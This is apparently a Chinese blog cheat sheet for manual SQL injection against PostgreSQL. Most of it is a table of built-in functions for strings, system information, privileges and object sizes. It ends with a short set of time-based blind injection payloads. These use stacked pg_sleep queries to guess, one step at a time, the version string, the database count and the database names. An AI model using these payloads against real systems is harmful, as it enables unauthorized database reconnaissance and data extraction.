PostgreSQL 手工注入包构造

可用函数

octet_length(string)    int     字串中的字节数     octet_length('jose')    4
bit_length(string)  int     字串里二进制位的个数  bit_length('jose')  32
char_length(string)     int     字串中的字符个数    char_length('jose')     4
length(string text)     int     string中字符的数目    length('jose')  4
---------------------------------------------------
string || string    text    字串连接    'Post' || 'greSQL'  PostgreSQL
concat(串1,串2…)      合并字符串    concat('a','b')  "ab"
reverse(串)      把字符串转置   reverse("1234")  "4321"
btrim(string text [, characters text])  text  字符串剔除   btrim('xyxtrimyyx','xy')    trim
left/ right(串,整数)       取字符串的左边/右边整数位   left('abcdef',3) abc
substr(string, from [, count])  text    提取字符串。  substr('alphabet', 3, 2)    ph
to_ascii(text [, encoding])     text    把text从其它编码转换为ASCII。     to_ascii('Karel')   Karel
to_hex(number int/bigint)   text    把number转换成其对应地十六进制表现形式。  to_hex(9223372036854775807)
---------------------------------------------------
ascii(text)     int     参数第一个字符的ASCII码  ascii('x')  120
chr(int)    text    给出ASCII码的字符     chr(65)     A
md5(string text)    text    计算给出string的MD5散列,以十六进制返回结果。     md5('abc')  
---------------------------------------------------
current_database()  name    当前数据库的名字         
current_schema()    name    当前模式的名字          
current_schemas(boolean)    name[]  在搜索路径中的模式名字          
current_user    name    目前执行环境下的用户名          
inet_client_addr()  inet    连接的远端地址          
inet_client_port()  int     连接的远端端口          
inet_server_addr()  inet    连接的本地地址          
inet_server_port()  int     连接的本地端口          
session_user    name    会话用户名        
pg_postmaster_start_time()  timestamp   postmaster启动的时间          
user    name    等同于 current_user
version()   text    PostgreSQL版本信息       
has_table_privilege(user,table,privilege)   允许用户在程序里查询对象访问权限的函数     用户是否有访问表的权限     SELECT/INSERT/UPDATE/DELETE/RULE/REFERENCES/TRIGGER      
has_table_privilege(table,privilege)    当前用户是否有访问表的权限   SELECT/INSERT/UPDATE/DELETE/RULE/REFERENCES/TRIGGER      
has_database_privilege(user,database,privilege)     用户是否有访问数据库的权限   CREATE/TEMPORARY     
has_database_privilege(database,privilege)  当前用户是否有访问数据库的权限     CREATE/TEMPORARY     
has_function_privilege(user,function,privilege)     用户是否有访问函数的权限    EXECUTE      
has_function_privilege(function,privilege)  当前用户是否有访问函数的权限  EXECUTE      
has_language_privilege(user,language,privilege)     用户是否有访问语言的权限    USAGE    
has_language_privilege(language,privilege)  当前用户是否有访问语言的权限  USAGE    
has_schema_privilege(user,schema,privilege)     用户是否有访问模式的权限    CREAT/USAGE      
has_schema_privilege(schema,privilege)  当前用户是否有访问模式的权限  CREAT/USAGE      
has_tablespace_privilege(user,tablespace,privilege)     用户是否有访问表空间的权限   CREATE   
has_tablespace_privilege(tablespace,privilege)  当前用户是否有访问表空间的权限     CREATE   
pg_table_is_visible(table_oid)  模式可视性查询函数   该表/视图是否在搜索路径中可见     regclass     
pg_type_is_visible(type_oid)    该类/视图型是否在搜索路径中可见    regtype      
pg_function_is_visible(function_oid)    该函数是否在搜索路径中可见   regprocedure     
pg_operator_is_visible(operator_oid)    该操作符是否在搜索路径中可见  regoperator      
pg_opclass_is_visible(opclass_oid)  该操作符表是否在搜索路径中可见     regclass     
pg_conversion_is_visible(conversion_oid)    转换是否在搜索路径中可见    regoperator      
format_type(type_oid,typemod)   text    获取一个数据类型的SQL名称  系统表信息函数      
pg_get_viewdef(view_oid)    text    为视图获取CREATE VIEW命令   
pg_get_viewdef(view_oid,pretty_bool)    text    为视图获取CREATE VIEW命令   
pg_get_ruledef(rule_oid)    text    为规则获取CREATE RULE命令   
pg_get_ruledef(rule_oid,pretty_bool)    text    为规则获取CREATE RULE命令   
pg_get_indexdef(index_oid)  text    为索引获取CREATE INDEX命令      
pg_get_indexdef(index_oid,column_no,pretty_bool)    text    为索引获取CREATE INDEX命令,如果column_no不为零,则是只获取一个索引字段的定义    
pg_get_triggerdef(trigger_oid)  text    为触发器获取CREATE [CONSTRAINT] TRIGGER    
pg_get_constraintdef(constraint_oid)    text    获取一个约束的定义    
pg_get_constraintdef(constraint_oid,pretty_bool)    text    获取一个约束的定义    
pg_get_expr(expr_text,relation_oid)     text    反编译一个表达式的内部形式,假设其中的任何Vars都引用第二个参数指出的关系   
pg_get_expr(expr_text,relation_oid, pretty_bool)    text    反编译一个表达式的内部形式,假设其中的任何Vars都引用第二个参数指出的关系   
pg_get_userbyid(roleid)     name    获取给出的ID的角色名      
pg_get_serial_sequence(table_name,column_name)  text    获取一个serial或者bigserial字段使用的序列名字   
pg_tablespace_databases(tablespace_oid)     setof oid   获取在指定表空间(OID表示)中拥有对象的一套数据库的OID的集合    
---------------------------------------------------
current_setting(setting_name)   text    当前设置的值  查询以及修改运行时配置参数的函数
set_config(setting_name,new_value,is_local)     text    设置参数并返回新值
pg_tablespace_size(oid)     bigint  指定OID代表的表空间使用的磁盘空间  数据库对象尺寸函数
pg_tablespace_size(name)    bigint  指定名字的表空间使用的磁盘空间
pg_database_size(oid)   bigint  指定OID代表的数据库使用的磁盘空间
pg_database_size(name)  bigint  指定名称的数据库使用的磁盘空间
pg_relation_size(oid)   bigint  指定OID代表的表或者索引所使用的磁盘空间
pg_relation_size(text)  bigint  指定名称的表或者索引使用的磁盘空间。这个名字可以用模式名修饰
pg_total_relation_size(oid)     bigint  指定OID代表的表使用的磁盘空间,包括索引和压缩数据
pg_total_relation_size(text)    bigint  指定名字的表所使用的全部磁盘空间,包括索引和压缩数据。表名字可以用模式名修饰。
pg_size_pretty(bigint)  text    把字节计算的尺寸转换成一个人类易读的尺寸单位
pg_relation_filenode(relationregclass)  oid     获取指定对象的文件节点编号(通常为对象的oid值)。  数据库对象位置函数
pg_relation_filepath(relationregclass)  text    获取指定对象的完整路径名。

基于时间的盲注包构造

// 判断版本号长度
';select pg_sleep(3) where 1=1 and char_length(version()) > 1;--
';select pg_sleep(3) where 1=1 and length(version()) = 103;--
// 逐一爆破版本号
';select pg_sleep(3) where 1=1 and left(version(),1) = chr(80);--
';select pg_sleep(2) where 1=1 and substr(current_database(),1,1) = chr(80);--
// 判断数据库数量
';select pg_sleep(3) where 1=1 and (select count(*) from pg_database) = 6;--
// 判断第一个数据库的名字长度
';select pg_sleep(3) where 1=1 and (select length(datname) from pg_database limit 1 offset 0) = 8;--
// 逐一爆破数据库的名字

标签: 注入, 手工, Injection, PostgreSQL

添加新评论